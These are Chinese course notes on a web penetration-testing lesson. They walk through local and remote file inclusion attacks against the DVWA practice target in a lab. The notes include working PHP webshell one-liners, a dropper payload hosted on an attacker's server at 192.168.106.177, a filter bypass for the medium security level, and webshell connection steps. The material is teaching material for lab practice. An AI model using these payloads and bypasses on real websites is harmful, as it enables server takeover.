开发者学堂课程【网络安全攻防 - Web渗透测试:文件包含漏洞渗透攻击_3】学习笔记,与课程紧密联系,让用户快速学习知识。
课程地址:https://developer.aliyun.com/learning/course/630/detail/9903
文件包含漏洞渗透攻击_3
内容介绍
一、本地文件包含
二、远程文件包含
三、中安全级别渗透
四、高安全级别渗透
五、总结
一、本地文件包含
进入 windows,192.168.106.134/网址,找到 Damn Vulnerable Web Application 上传 cc 图片,然后找到文件上传漏洞 File inclusion 换成
192.168.106.134/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/cc.jpg,结果如下
图片要尽量小一些,太大的图片执行可能会出现问题 。
//打开图片 cc 查看
root@owaspbwa :/var/www/ dvwa/hackable/uploads#is
cc.jpg
root@owaspbwa :/var/www/ dvwa/hackable/uploads# vim cc.jpg
出现一段特别的代码如下:
//最终生成如下内容,图片被文件包含的方式执行了。
root@owaspbwa:/var/www/dvwa/hackable/uploads#cd/var/www/dvwa/vulnerabilities/fi/
root@owaspbwa:/var/www/dvwa/vulnerabilities/fi#ls
help include.php index.php shell20.php source
root@owaspbwa/var/www/dvwa/vulnerabilities/fi#moreshell20.php
<?php eval($_PoST[yangge] ) ;?>
root@owaspbwa:/var/www/dvwa/vulnerabilities/fi#
打开中国菜刀,添加 shell,地址为:
192.168.106.134/divwa/vulnerabilities/fi/shell20.php,点击文件管理,检查是否能够新建文件和删除文件。新建文件/var /www/ dvwal/vulner abilities/fi/zhuzhu.txt,该文件也可以删除,代表没有问题。
以上是本地文件包含的基本过程。
二、远程文件包含
搭建一个服务器,把要包含的文件提前扔到服务器上,再包含它就可以。搭服务器可以指定任意机器搭建服务器,Kali 可以帮助搭建服务器,因为 kali 本身也是网站服务器。
//在 kali 上启动 Apache
root@kali:~# systemctl start apache2
//查看状态
root@kali:~# systemctl status apache2
//网站主目录默认是在 var/www/html 下,但是目前 kali 机器只有 ip,没有其他内容,Ip是177.
root@kali:~# ip a
访问192.168.106.177,只是一个测试网页,而不是最终生成木马的文件。
//建立 yangge.txt 文件,内容是最终生成木马的内容。这个文件是一个 txt 文件不能入侵和执行。
root@kali:~# var/www/html/yangge.txt
//粘贴内容,可以使用 ctrl+shift+v,也可在编辑中找到粘贴按钮粘贴。
<?fputs(fopen(“shell50.php","w"),'<?phpeval($_POST[yangge50]);?>')?>
//检查该文件能否使用,输入网址192.168.106.177/yangge.txt,虽然代码是 php 的,但是它是一个 txt 文件。
//实现文件包含,找到 File inclusion 文件包含,输入远程路径:
192.168.106.134/dvwa/vulnerabilities/fi/?page=http://192.168.106.177/yangge.txt
//生成结果没有乱码,因为文件本身就没有乱码。一般情况下应该是一段 php 代码。检查内容是否生成,路径已经测试过没有问题,所以不用再考虑路径。
root@owaspbwa:/var/www/dvwa/vulnerabilities/fi# is
help include.php index.php shell50.php source
root@owaspbwa/var/www/dvwa/vulnerabilities/fi# moreshell50.php
<?php eval($_PoST[yangge50]) ;?>
root@owaspbwa:/var/www/dvwa/vulnerabilities/fi#
//远程文件包含只需要把要包含的文件提前在自己的网站上准备好,不一定必须是图片,php 的也可以。进入 var/www/html 下
root@kali:/var/www/html# cp yangge.txt yangge.php
root@kali:/var/www/html# vim yangge.php
//把 shell50 改为 shell60 ,密码也改为60。
<?fputs(fopen(“shell60.php","w"),'<?phpeval($_POST[yangge60]);?>')?>
//直接执行是有危害的,所以在 DVWA 中执行。输入路径192.168.106.134/dvwa/vulnerabilities/fi/?page=http://192.168.106.177/yangge.php,执行完成后,出现 shell60,相当于它把文件包含过去执行。
root@owaspbwa:/var/www/dvwa/vulnerabilities/fi# is
help include.php index.php shell20.php shell50 shell60.php source
root@owaspbwa/var/www/dvwa/vulnerabilities/fi#
//使用菜刀运行60没有内容,因为60是空文件,东西没写进去,说明 PHP 有问题,所以只使用 txt 和 jpg 。
root@owaspbwa:/var/www/dvwa/vulnerabilities/fi#more shell60.php
//修改代码,尝试再重新运行。
<?php
fputs(fopen(“shell60.php","w"),'<?phpeval($_POST[yangge60]);?>')
?>
//删除原来的文件
root@owaspbwa:/var/www/dvwa/vulnerabilities/fi# rm -rf shell.php
//重新执行,查看大小
root@owaspbwa:/var/www/dvwa/vulnerabilities/fi# is -l
运行结果中 Shell60 不存在了,说明 php 代码可能有特定的写法格式,所以只使用 txt 和 jpg 就可以了。
//使用菜刀连接50地址为192.168.106.134/divwa/vulnerabilities/fi/shell50.php,密码是 yangge50,并且配置数据库:
<T>YSQL</T>
<H>localhost</H>
<U>root</U>
<P>owaspbwa</P>
查看 shell50 的文件管理,删除 shell20,在数据库管理中查看 challenge2_articles,以及虚拟终端,检查以上信息都没有问题。
以上内容包含了文件上传和文件包含,文件包含分为本地文件包含和远程文件包含,远程文件包含的做法更加简单。
三、中安全级别渗透
首先在 DVWA Security 中将安全级别调为中级,进入文件包含漏洞页面,查看源码,如下:
<?php
$file=$_GET[‘page']://The page we vish to display
//Bad input validation
定义了一个错误输入,使用了替换函数把http://换为空的。
$file=str_replace(“http://”,” ”,$file);
$file= str_replace(“https://”,” ”,$file);
1、本地文件包含
中安全级别对本地文件包含没有任何影响,例如添加本地文件路径,
192.168.106.134/dvwa/vulnerabilities/fi/?page=/etc/passwd
对生成效果没有任何影响,所以可以同样去包含以前的文件。
上传一个图片也是没有问题的。
制作一句话木马图片<?fputs(fopen(""she11200.php"","w"),"<?phpeval($_POST[yangge]);?>')?>,上传图片木马文件,执行文件包含并生成后门:http://192.168.106.134/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/redhat.jpg或者使用该图片的绝对路径。最后通过菜刀连接 webshell,没有出现问题。
2、远程文件包含
中安全级别的远程文件包含和低安全级别渗透的远程文件包含有不同的地方。
建立远程服务器,远程文件包含中同样需要建立一个能够提供文件的服务器。在步骤上与低安全级别没有区别。
//在 kali 上新建 yangge500.txt 文件
root@kali:/var/www/html# yangge500.txt
<?fputs(fopen(“shell500.php","w"),'<?phpeval($_POST[yangge500]);?>')?>
验证路径是否正确,输入 http://192.168.106.177/yangge500.txt
是正确的。按照低安全级别渗透的做法执行,输入192.168.106.134/dvwa/vulnerabilities/fi/?page=http://192.168.106.177/yangge500.txt,检查文件是否生成,结果生成的只有 shell20 和 shell50,没有 shell500,说明没有成功。原因是这是中安全级别,它将路径中的 http:// 替换成空的了,相当于没有 http://,执行就会报错。
解决办法,将路径修改为:
192.168.106.134/dvwa/vulnerabilities/fi/?page=httphttp://://192.168.106.177/yangge500.txt,这种写法相当于 hthttp://tp://-http://=http://。验证结果如下: shell500 存在
换成其他写法也可以,例如:
192.168.106.134/dvwa/vulnerabilities/fi/?page=hhttp://ttp://192.168.106.177/yangge500.txt,只要保证原来的 http:// 被拆开即可。
四、高安全级别渗透
在 DVWA Security 中将安全级别调为高级,进入文件包含漏洞页面,查看源码如下:
<?php
$file=$_GET[‘page']://The page we vish to display
//only allow include.php,表示如果文件名不等于 include.php ,文件就不会被发现。这种编码称为硬编码,对于后期的修改不灵活,但是安全性很高。
If ($file !=include.php) {
Echo “ERROR:File not found!”:
Exit;
}
?>
这种方式没有漏洞,但是不提倡这种方式,因为不便于开发。最好的做法是对包含的文件稍微做一些检测,比如不随便使用“*”,“*.”等。
文件包含是开发人员为了减轻代码的量,是正常的。但是要注意包含的内容。如果有包含且要建立在对包含的内容没有做严格检测才能构成漏洞,这就是文件包含。
五、总结
很多开发中都会有错误,包括在某个页面上出现错误,在后面的课程中会讲解到 web的漏扫。本节课所讲的漏洞都是明确告知的,是在靶机上进行练习。但是在实际的网站中不会告知漏洞,就要求开发人员运用漏扫软件扫出有漏洞的内容,扫出的内容和本节课学习的效果是相同的。
本节课主要讲解了两个漏洞的内容,文件上传漏洞和文件包含。
1、文件上传漏洞:开发者没有对上传的文件严格检测而导致上传,如果上传 php,就直接上传了一个木马文件。
2、文件包含:从代码的层面上去包含另外一些文件的代码,如果没有对包含的文件进行检查,类似于 jpg,txt 等内容都会包含过来,这样包含过来的代码就可能会生成木马代码。文件包含漏洞在漏洞排行中不是最高的,但是任何一个危险点都有可能威胁到系统的整体安全。
下节课讲解 SQL Injection 内容 ,SQL Injection 是排在第一位的安全风险。